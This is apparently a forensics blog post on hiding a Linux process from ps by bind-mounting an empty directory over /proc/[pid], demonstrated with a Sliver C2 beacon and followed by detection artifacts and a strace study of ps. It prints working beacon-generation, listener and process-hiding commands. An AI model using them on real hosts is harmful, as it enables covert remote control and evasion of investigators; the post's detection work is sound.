The ‘Invisibility Cloak’ – Slash-Proc Magic

Introduction

While working my way through the excellent “Linux Attack, Detection and Live Forensics” course from Defensive Security, I read the following line: If you are looking for a simple way how to hide your process from the process list, then the bind mount operation is the answer. In order not to violate any copyright, I googled around and found the following gist from Timb-machine, where the same commands of the course are reflected:

I couldn’t find out who first developed this technique, but if somebody pointed me to a blog or paper with more information, I’d be happy to update the blog post.

The code or technique was not explained further in the course, only hinting that it can be used to hide processes from the process list. In the following blog post, we will take a closer look at how this technique works, whether we can hide our processes so easily, and more importantly, which forensic artifacts we can use to detect this technique.

To avoid recreating recreate the wheel, the following is a screenshot from an excellent answer on stackexchange to the question: “What is a bind mount?”.

Setting the stage

Attacker host

Our first step is creating a new Sliver binary, which we will execute on our target host later. Sliver, a post-exploitation framework, empowers an attacker to remotely control and interact with compromised systems, also known as ‘slivers ‘. It offers a wide range of capabilities for post-exploitation activities. For detailed instructions on setting up a new Sliver server or interacting with slivers, refer to the official Sliver wiki.

[server] sliver > generate beacon -f exe --os linux --mtls :9191 --skip-symbols -s /tmp/

[*] Generating new linux/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:17
[*] Implant saved to /tmp/DISTANT_VISUAL

Sliver creates specific file names for each beacon, in our case DISTANT_VISUAL. These file names can also be customized and must not be adopted. We now start a Sliver listener on port 9191, where the beacon will connect back after execution on our victim host.

[server] sliver > mtls -l 9191

[*] Starting mTLS listener ...

[*] Successfully started job #1

We copied the Sliver binary created above to the Victim host and executed the binary (the & moves the process to the background).

Victim host

# ./DISTANT_VISUAL &

Attacker host

Back on the attacker host (in the Sliver console), the host on which we executed the beacon has now checked in – our created binary has worked as desired.

[server] sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    mtls   tcp        9191 

[*] Beacon 5628db38 DISTANT_VISUAL - 135.:41462 (dfir_rocks) - linux/amd64 - Wed, 27 Mar 2024 13:11:16 CET

We can briefly test the functionality with a simple command like ls:

[server] sliver (DISTANT_VISUAL) > ls

[*] Tasked beacon DISTANT_VISUAL (8a47457f)

[+] DISTANT_VISUAL completed task 8a47457f

/root (19 items, 8.8 MiB)
=========================
-rw-------  .bash_history    3.3 KiB  Wed Mar 27 09:57:04 +0100 2024
-rw-r--r--  .bash_logout     18 B     Sun Dec 29 03:26:31 +0100 2013
-rw-r--r--  .bash_profile    176 B    Sun Dec 29 03:26:31 +0100 2013
-rw-r--r--  .bashrc          293 B    Mon Mar 25 08:36:40 +0100 2024
[..]

Victim host:

Out of the box, the Sliver binary makes no effort to hide on the host. Using a process listing with ps, we can easily find the process, which would probably be noticed relatively quickly in a forensic investigation.

# ps aux | grep DISTANT
root     22665  0.1  0.3 709792  5520 [..] ./DISTANT_VISUAL
root     22710  0.0  0.0 112808   968 [..] grep --color=auto DISTANT

However, when we turn our attention again to the few commands on the gist from timb-machine..

# mkdir -p spoof/fd; 
# mount -o bind spoof /proc/22665; 

We issue the same command as above (with ps), but we can’t find our binary this time.

# ps aux | grep DISTANT
root     23819  0.0  0.0 112808 968 [..] grep --color=auto DISTANT

Checking the corresponding folder under /proc:

# ls -la /proc/22665/fd
# 

Without the hiding technique, the folder would not be empty:

[root@dfir ~]# ls -l /proc/22665/
total 0
dr-xr-xr-x. 2 root root 0 Mar 28 12:40 attr
-rw-r--r--. 1 root root 0 Mar 28 12:40 autogroup
-r--------. 1 root root 0 Mar 28 12:40 auxv
-r--r--r--. 1 root root 0 Mar 28 12:32 cgroup
--w-------. 1 root root 0 Mar 28 12:40 clear_refs
-r--r--r--. 1 root root 0 Mar 28 12:28 cmdline
-rw-r--r--. 1 root root 0 Mar 28 12:40 comm
-rw-r--r--. 1 root root 0 Mar 28 12:40 coredump_filter
-r--r--r--. 1 root root 0 Mar 28 12:40 cpuset
lrwxrwxrwx. 1 root root 0 Mar 28 12:28 cwd -> /root
-r--------. 1 root root 0 Mar 28 12:28 environ
lrwxrwxrwx. 1 root root 0 Mar 28 12:28 exe -> /root/DISTANT_VISUAL
[..]

What’s going on?

mkdir -p spoof/fd: This command creates a directory named spoof with a subdirectory fd.

mount -o bind spoof /proc/[pid]: This command mounts the spoof directory onto the /proc/[pid] directory. By doing this, it tricks the system into displaying the contents of the spoof directory when someone accesses the /proc/[pid] directory. By someone, we mean, for example, a tool like ps that relies heavily on the /proc/ directory to generate output (see the section strace (ps deep-dive), where we examine how the ps command works and why we can hide our binary in this simple way.

ln -s socket:[283] /proc/[pid]/fd/99: This command from the original gist (see above) creates a symbolic link (ln -s) named 99 in the /proc/[pid]/fd/ directory. The link points to a specific socket (socket:[283]), which is likely associated with a network connection or communication channel of the process. In our tests, it was not necessary to create such a symlink.

ls -la /proc/[pid]/fd: This command lists all file descriptors (fd) associated with the process identified by [pid]. However, because we have mounted an empty directory (spoof/fd) over the correct /proc/ directory from the process, we have no files and folders that are displayed.

Forensics

/proc/mounts

Analyzing /proc/mounts indicates that at least one filesystem is mounted onto a directory that typically corresponds to a process ID (PID), as evidenced by entries like ‘/proc/PID’ in the ‘/proc/mounts’ listing. See the last line of the /proc/mounts output below, where we clearly see the mapping of the /proc/22665 folder.

# cat /proc/mounts 
rootfs / rootfs rw 0 0
sysfs /sys sysfs rw,seclabel,nosuid,nodev,noexec,relatime 0 0
[...]]
/dev/mapper/centos-root /proc/22665 xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0

In a normal investigation, my next step would be to look at the process’s/proc/ filesystem to learn more about the process (command line, environment variables, maps, etc.). In this case, however, the directory is empty, as we have seen above, which is a huge red flag that something is amiss.

# ls /proc/22665/fd/
# 

Bogus Permissions

The /proc directory for our Sliver process (PID 22665) allows writing to the directory. This is an unusual permission for this directory as normally, the PID directories under /proc should be read-only. For comparison, here are the permissions of the /proc/ folder holding our Sliver binary:

# ls -latrh /proc/ | grep 22665
drwxr-xr-x.   3 root     root       16 Mar 26 14:49 22665

Compared to other directories within /proc:

dr-xr-xr-x.   9 root     root        0 Mar 26 21:11 2486
dr-xr-xr-x.   9 root     root        0 Mar 26 21:11 13713
dr-xr-xr-x.   9 root     root        0 Mar 26 21:11 13857
dr-xr-xr-x.   9 root     root        0 Mar 26 21:11 13860

This strongly indicates that something is not normal with this process and needs to be analyzed more closely. Sandfly, for example, has these two checks built in.

netstat

However, the connection to the C2 server appears in the output of the netstat command, but without an indication of which process this connection belongs to (another anomaly).

# netstat -nalp | grep 9191
tcp        0      0 192.168.38.244:42362    144.:9191      ESTABLISHED - 

By default, our Sliver beacon will not check every second for new commands, but “The “Next Check-in” value includes any random jitter (by default up to 30s)”. For demonstration, the following one-liner periodically executes netstat and filters for the first octet of our C2 IP address. In this case, we haven’t applied the hiding technique, thus the process name and the PID are visible.

# while true; do netstat -nalp | grep -i 144; done
tcp        0      1 192.168.38.244:33536    144.:9191      SYN_SENT    22665/./DISTANT_VISU 
tcp        0    267 192.168.38.244:33536    144.9191      ESTABLISHED 22665/./DISTANT_VISU 
tcp        0      0 192.168.38.244:33536    144.:9191      ESTABLISHED 22665/./DISTANT_VISU 
tcp        0    742 192.168.38.244:33536    144.:9191      ESTABLISHED 22665/./DISTANT_VISU 
tcp        0    916 192.168.38.244:33536    144.:9191      FIN_WAIT1   -    

Diggin deeper

We have found out that we can hide the process from tools like ps relatively easily without affecting the program’s functionality. However, the C2 connection appears in netstat. We recorded the execution of netstat with strace and found two interesting files that are read by netstat.

nf_conntrack

The nf_conntrack file, typically found in the /proc directory, provides information about the network connections being tracked by the Netfilter connection tracking system. Netfilter is a framework within the Linux kernel that provides functionalities for packet filtering, network address translation (NAT), and other packet mangling operations. The contents of the nf_conntrack file are dynamically updated by the kernel as network connections are established, modified, or terminated. Each time a new connection is initiated, or an existing connection state changes, the corresponding entry in the nf_conntrack file is updated accordingly.

nf_conntrack:ipv4     2 tcp      6 0 CLOSE src=192.168.38.244 dst=144. sport=34932 dport=9191 src=144. dst=192.168.38.244 sport=9191 dport=34932 [ASSURED] mark=0 secctx=system_u:object_r:unlabeled_t:s0 zone=0 use=2

The /proc/net/tcp file is a special file in the /proc directory on Linux systems that provides information about the active TCP connections on the system. This file allows users, processes, and system administrators to inspect the state of TCP connections, including details such as source and destination addresses, port numbers, connection states, and other relevant information.

IP addresses in each column are stored in hexadecimal notation in the ‘Little Endian’ format (but not the port numbers):

  29: F426A8C0:8C82 :23E7 02 00000001:00000000 01:00000064 00000000     0        0 8429573 2 ffff9480c12e8000 100 0 0 10 -1   

• F426A8C0 = C0 A8 26 F4 = The IP address of the victim (192.168.38.244)
• 23E7 = 9191 = The port our Slliver beacon connects to on the attacker’s machine

Back again

# umount /proc/22665
# ps aux | grep DISTANT
root     10171  0.0  0.0 112808   968 pts/0    S+   17:56   0:00 grep --color=auto DISTANT
root     22665  0.0  0.3 711200  5532 pts/0    Sl   13:11   0:05 ./DISTANT_VISUAL

strace (ps deep-dive)

As we saw above, our Sliver Beacon was no longer visible within the ps output. What information from which files and folders does ps obtain to generate the output? We start a strace session and use a random any program currently running on our system. See my post [s|l]trace – Linux Malware Analysis as a strace primer.

/proc/[pid]/stat

stat("/proc/22551", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
open("/proc/22551/stat", O_RDONLY)      = 6
read(6, "22551 (sshd) S 22543 22543 22543"..., 2048) = 365

The /proc/[pid]/stat file in Linux provides status information about a specific process identified by its process ID (PID). It contains a single line of text with various fields separated by spaces, each representing different attributes of the process.

# cat /proc/22551/stat
22551 (sshd) S 22543 22543 22543 0 -1 1077944640 
481 0 3 0 11 47 0 0 20 0 1 0 18909165 158507008 
450 18446744073709551615 94679745945600 94679746763604 
140736237722176 140736237719352 139979359492899 0 0 4096 
65536 18446744072090956901 0 0 17 0 0 0 0 0 0 94679748861320 
94679748876788 94679775510528 140736237723477 140736237723498 
140736237723498 140736237723625 0

The values above correspond to the following fields:

• PID (Process ID): The unique identifier for the process.
• Comm: The filename of the executable, in parentheses. This is often truncated to 15 characters.
• State: The current state of the process. Common states include “R” for running, “S” for sleeping, “D” for uninterruptible sleep, “Z” for zombie, and others.
• PPid (Parent Process ID): The PID of the parent process.
• .. and so on..

Head over to the proc5 manpage for a complete list of the fields.

/proc/[pid]/status

Next, ps opens /proc/[pid]/status, where this file provides much of the information in /proc/pid/stat and /proc/pid/statm in a format easier for humans to parse. Just compare the output below (from the status file) and above (from the stat file) 🙂

open("/proc/22551/status", O_RDONLY)    = 6

# cat /proc/22551/status
Name:	sshd
Umask:	0022
State:	S (sleeping)
Tgid:	22551
Ngid:	0
Pid:	22551
PPid:	22543
TracerPid:	0
Uid:	1002	1002	1002	1002
Gid:	1002	1002	1002	1002
FDSize:	64
Groups:	10 1002 
VmPeak:	  154820 kB
VmSize:	  154792 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    2640 kB
VmRSS:	    1800 kB
RssAnon:	    1152 kB
RssFile:	     648 kB
RssShmem:	       0 kB
VmData:	     792 kB
VmStk:	     132 kB
VmExe:	     800 kB
VmLib:	   13064 kB
VmPTE:	     312 kB
VmSwap:	     184 kB
Threads:	1
SigQ:	0/5887
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000001000
SigCgt:	0000000180010000
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	0000001fffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	not vulnerable
Cpus_allowed:	3
Cpus_allowed_list:	0-1
Mems_allowed:	00000000,00000000,00000000,00000000,[...],00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	2997
nonvoluntary_ctxt_switches:	0

/proc/[pid]/cmdline

Last but not least, ps reads the content of the file /proc/[pid]/cmdline, which contains the command-line arguments passed to the process.

open("/proc/22551/cmdline", O_RDONLY)   = 6

And the actual output:

# cat /proc/22551/cmdline
sshd: malmoeb@pts/0

Final output to the console

Putting the pieces together, ps writes the gathered information from the various files within /proc/[pid]/ to the console.

write(1, "malmoeb 22551  0.0  0.1 154792 "..., 86) = 86

And on the terminal:

malmoeb 22551  0.0  0.1 154792  1800 ? D 13:10   0:00 sshd: malmoeb@pts/0

Conclusion

By leveraging bind mounts to overlay a /proc/ directory, we demonstrated how a process can seemingly vanish from process listings while maintaining its functionality.

Through practical experimentation and analysis, we’ve uncovered the potential forensic artifacts left behind by such techniques, including anomalous filesystem mounts and empty process directories. These indicators can serve as valuable clues for forensic investigators seeking to uncover hidden processes and detect malicious activity on compromised systems.